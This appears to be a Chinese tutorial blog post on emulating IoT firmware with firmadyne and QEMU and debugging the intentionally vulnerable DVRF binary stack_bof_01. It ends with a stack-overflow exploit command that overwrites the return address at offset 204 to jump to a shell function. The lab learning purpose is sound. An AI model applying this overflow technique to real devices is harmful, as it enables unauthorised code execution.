《IOT废物学习之路》(3)–动态分析IOT固件

动态分析固件之前,需要先把固件运行起来。没有路由器、摄像头之类的物联网硬件的话,就需要用到虚拟执行。虚拟执行就相当于一个虚拟机可以运行各种物联网OS。

虚拟执行固件

工具介绍

firmadyne

  • 是一个IOT固件模拟程序
  • 用于全自动模拟固件

本文使用的是iot的docker

1、首先使用如下指令快速启用firmadyne控制台

1
sudo docker run  --network host --privileged -it --rm -e USER=root asdqwe876/iot_analyze

命令解释

命令的含义是在一个交互式的Docker容器中运行名为 asdqwe876/iot_analyze 的镜像,并将容器内的 USER 环境变量设置为 root。容器在退出后将被立即删除。这个命令通常用于启动临时容器,用于特定的任务或交互式会话,而不需要长期保留容器。

image-20241005144302748

2、接下来准备一个固件,使用一个DWP固件作为demo

1
2
3
4
cd /root/firmadyne
wget -N --continue \
https://github.com/G4rb3n/IoT_Sec_Tutorial/raw/master/03-%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90IoT%E5%9B%BA%E4%BB%B6/DWP2360b-firmware-v206-rc018.bin \
-O firmware.bin

命令解释

这个命令会切换到 /root/firmadyne 目录,然后使用 wget 下载指定 URL 的原始二进制文件,并将其保存为 firmware.bin 在当前目录中。

image-20241005144325466

3、解压固件

1
python3 ./sources/extractor/extractor.py -b Netgear -sql 127.0.0.1 -np -nk "firmware.bin" images

image-20241005144558937

4、识别CPU架构

1
./scripts/getArch.sh ./images/$project_id.tar.gz

image-20241005144611564

5、存储数据库

1
./scripts/tar2db.py -i $project_id -f ./images/$project_id.tar.gz

6、创建QEMU镜像

1
./scripts/makeImage.sh $project_id

image-20241005144625223

7、设置网络接口

1
./scripts/inferNetwork.sh $project_id

image-20241005144636911

8、运行仿真环境

1
./scratch/$project_id/run.sh

image-20241005144649774

之后就可以正常访问了。

image-20241005144703440

以上就是如何虚拟执行一个固件。下面介绍如何动态调试分析一个固件。

动态调试分析固件

1、首先下载固件

image-20241005144711206

2、使用docker挂在当前盘符自动解压

1
2
3
4
docker run -it --rm \
-v $(pwd):$(pwd) \
asdqwe876/iot_analyze \
binwalk --run-as=root -C $(pwd) -Mer $(pwd)/DVRF_v03.bin

image-20241005144823023

可以看到文件系统被提取出来了。

image-20241005144841772

提取出来的系统有个文件夹pwnable,这个文件夹存放着有漏洞的程序示例,选取缓冲区漏洞程序stack_bof_01进行实验。首先使用readelf命令查看该程序架构:

1
readelf -h pwnable/Intro/stack_bof_01

image-20241005144859148

3、拷贝qemu-mipsel-static到当前目录,配合chroot虚拟执行固件

先拷贝qemu

image-20241005144909944

然后配合chroot更改根目录进行模拟运行

1
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01

chroot的作用是更改当前进程的根目录,虚拟执行需要把文件系统设置为根目录。

image-20241005144922400

查看stack_bof_01源码,可以明显发现存在strcpy内存溢出漏洞。

1
cat DVRF/'Pwnable Source'/Intro/stack_bof_01.c

image-20241005144952445

4、开始调试

以调试的方式启动stack_bof_01,在本地的1234端口监听调试
1
sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01

image-20241005145005996

运行以下命令开始调试
1
gdb-multiarch pwnable/Intro/stack_bof_01
设置固件架构
1
set architecture mips
远程调试
1
target remote :1234

image-20241005145032069

调用命令查看样本所有函数,可以看到函数的地址。

1
info functions

image-20241005145055522

查看反汇编。

1
disass main

image-20241005145110290

使用cyclic创建一个300长度的随机字符串。
1
cyclic 300

image-20241005145125588

重新带参调试程序。

image-20241005145141870

发现程序崩溃的地方是0x63616162,即字符串baac

查找字符串位置
1
cyclic -l 'baac'

image-20241005145155187

程序崩溃是因为函数的返回地址被溢出的字符串覆盖了,导致返回地址处的地址在内存处不存在,所以程序崩溃。

如果想利用这个溢出漏洞,只用把返回地址覆盖为dat_shell函数,查看其函数地址。

1
disass dat_shell

劫持返回地址为dat_shell函数地址。

1
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40'")"

image-20241005145204567